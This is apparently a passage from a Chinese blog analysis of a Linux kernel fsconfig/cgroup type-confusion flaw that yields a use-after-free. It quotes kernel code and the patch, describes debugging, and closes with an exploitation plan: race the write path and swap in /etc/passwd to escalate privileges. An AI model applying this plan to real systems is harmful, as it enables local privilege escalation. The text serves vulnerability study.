FSCONFIG_SET_STRING: case FSCONFIG_SET_BINARY: kfree(param.string ); break ; case FSCONFIG_SET_PATH: case FSCONFIG_SET_PATH_EMPTY: if (param.name) putname(param.name); break ; case FSCONFIG_SET_FD: if (param.file) fput(param.file); break ; default : break ; } out_key: kfree(param.key); out_f: fdput(f); return ret; }
这个系统调用允许挂载自己的文件系统而不用修改内核,它在调用的过程中存在类型混淆漏洞。
在选项 5 有个可以释放文件的操作 FSCONFIG_SET_FD
,在解释参数的时候,会调用到下面的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 int vfs_parse_fs_param (struct fs_context *fc, struct fs_parameter *param) { int ret; if (!param->key) return invalf(fc, "Unnamed parameter\n" ); ret = vfs_parse_sb_flag(fc, param->key); if (ret != -ENOPARAM) return ret; ret = security_fs_context_parse_param(fc, param); if (ret != -ENOPARAM) return ret; if (fc->ops->parse_param) { ret = fc->ops->parse_param(fc, param); if (ret != -ENOPARAM) return ret; } if (strcmp (param->key, "source" ) == 0 ) { if (param->type != fs_value_is_string) return invalf(fc, "VFS: Non-string source" ); if (fc->source) return invalf(fc, "VFS: Multiple sources" ); fc->source = param->string ; param->string = NULL ; return 0 ; } return invalf(fc, "%s: Unknown parameter '%s'" , fc->fs_type->name, param->key); } int cgroup1_parse_param (struct fs_context *fc, struct fs_parameter *param) { struct cgroup_fs_context *ctx = cgroup_fc2context(fc); struct cgroup_subsys *ss ; struct fs_parse_result result ; int opt, i; opt = fs_parse(fc, cgroup1_fs_parameters, param, &result); if (opt == -ENOPARAM) { if (strcmp (param->key, "source" ) == 0 ) { if (fc->source) return invalf(fc, "Multiple sources not supported" ); fc->source = param->string ; param->string = NULL ; return 0 ; } for_each_subsys(ss, i) { if (strcmp (param->key, ss->legacy_name)) continue ; if (!cgroup_ssid_enabled(i) || cgroup1_ssid_disabled(i)) return invalfc(fc, "Disabled controller '%s'" , param->key); ctx->subsys_mask |= (1 << i); return 0 ; } return invalfc(fc, "Unknown subsys name '%s'" , param->key); } if (opt < 0 ) return opt; switch (opt) { case Opt_none: ctx->none = true ; break ; case Opt_all: ctx->all_ss = true ; break ; case Opt_noprefix: ctx->flags |= CGRP_ROOT_NOPREFIX; break ; case Opt_clone_children: ctx->cpuset_clone_children = true ; break ; case Opt_cpuset_v2_mode: ctx->flags |= CGRP_ROOT_CPUSET_V2_MODE; break ; case Opt_xattr: ctx->flags |= CGRP_ROOT_XATTR; break ; case Opt_release_agent: if (ctx->release_agent) return invalfc(fc, "release_agent respecified" ); ctx->release_agent = param->string ; param->string = NULL ; break ; case Opt_name: if (cgroup_no_v1_named) return -ENOENT; if (!param->size) return invalfc(fc, "Empty name" ); if (param->size > MAX_CGROUP_ROOT_NAMELEN - 1 ) return invalfc(fc, "Name too long" ); for (i = 0 ; i < param->size; i++) { char c = param->string [i]; if (isalnum (c)) continue ; if ((c == '.' ) || (c == '-' ) || (c == '_' )) continue ; return invalfc(fc, "Invalid name" ); } if (ctx->name) return invalfc(fc, "name respecified" ); ctx->name = param->string ; param->string = NULL ; break ; } return 0 ; }
通过 PATCH
文件可以看出来(实则因为菜实在分析不来)
1 2 3 4 5 6 7 8 9 10 11 12 13 @@ -912,6 +912,8 @@ int cgroup1_parse_param(struct fs_context *fc, struct fs_parameter *param) opt = fs_parse(fc, cgroup1_fs_parameters, param, &result); if (opt == -ENOPARAM) { if (strcmp(param->key, "source") == 0) { + if (param->type != fs_value_is_string) + return invalf(fc, "Non-string source"); if (fc->source) return invalf(fc, "Multiple sources not supported"); fc->source = param->string;
如果 key
为 source
,那么 param->type
必须被指定为 string
类型而不能是文件描述符,此时因为外面的 cmd=FSCONFIG_SET_FD
,因此获取了文件结构在联合体当中。
1 2 3 4 5 6 7 8 9 10 11 12 struct fs_parameter { const char *key; enum fs_value_type type :8 ; union { char *string ; void *blob; struct filename *name ; struct file *file ; }; size_t size; int dirfd; };
在判断中可以看到这样一句:
1 2 3 4 5 6 7 if (strcmp (param->key, "source" ) == 0 ) { if (fc->source) return invalf(fc, "Multiple sources not supported" ); fc->source = param->string ; param->string = NULL ; return 0 ; }
此时将 string
保存在 fc->source
当中,因为它们共用内存,所以这里的 string
实际上是 struct file
结构体指针。
最后要 free
掉这个 fs_context
结构时,就意外地造成了这里的文件结构的 uaf
,最后这个系统调用完成会触发 fscontext_release
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 void put_fs_context (struct fs_context *fc) { struct super_block *sb ; if (fc->root) { sb = fc->root->d_sb; dput(fc->root); fc->root = NULL ; deactivate_super(sb); } if (fc->need_free && fc->ops && fc->ops->free ) fc->ops->free (fc); security_free_mnt_opts(&fc->security); put_net(fc->net_ns); put_user_ns(fc->user_ns); put_cred(fc->cred); put_fc_log(fc); put_filesystem(fc->fs_type); kfree(fc->source); kfree(fc); } static int fscontext_release (struct inode *inode, struct file *file) { struct fs_context *fc = file->private_data; if (fc) { file->private_data = NULL ; put_fs_context(fc); } return 0 ; }
代码调试 触发UAF 第一步打断点 __do_sys_fsconfig
,然后跟到图示这个位置,可以发现获取到了文件结构了。
随后跟到这个位置
这里会有调用刚刚的 cgroup1_parse_param
,当然也可以直接下断点 continue
过去。
当然这里可以看到 source
直接被取走了,保存到了 fc
结构当中。
随后下断在 fscontext_release
,然后 continue
过去,走到 kfree
这和位置可以发现 source
被释放。
这里也能看到作者原意是想在这里释放 source
字符串,但是这里释放了 file
文件结构指针,调试的时候可以和之前对一下,发现地址是一致的,因此这里造成了 uaf。
延长竞争时间 这里采用 writev
写入大量数据使得文件拿锁的时间加长。为了调试 exp
,可以用 add-symbol-file
命令去添加符号,这里可以选择断 write_cmd
的 writev
函数,因为这里会因为写入数据量过大而长期持有锁,writev 就会尝试持续获得锁。
随后经过系统调用来到 do_writev
函数
不过这里多线程比较难调,也不放调试具体过程了,感觉原理还是比较浅显易懂的。
总结 我们可以总结出以下的利用思路:
fsconfig
系统调用的代码存在类型混淆漏洞,间接导致了可以使得某文件描述符结构被 uaf
通过写入大量数据延长竞争时间,通过建立一个链接的方式绕过 open
时赋予的标记位,使得两个线程可以卡在权限校验之后。
第三个线程在第二个线程卡住的时间申请 /etc/passwd
文件的结构,替换线程 2 正在写入的文件,完成漏洞利用。
分析的还有很多不足之处,如果有讲的不好的地方恳请师傅多多包涵并帮助指正。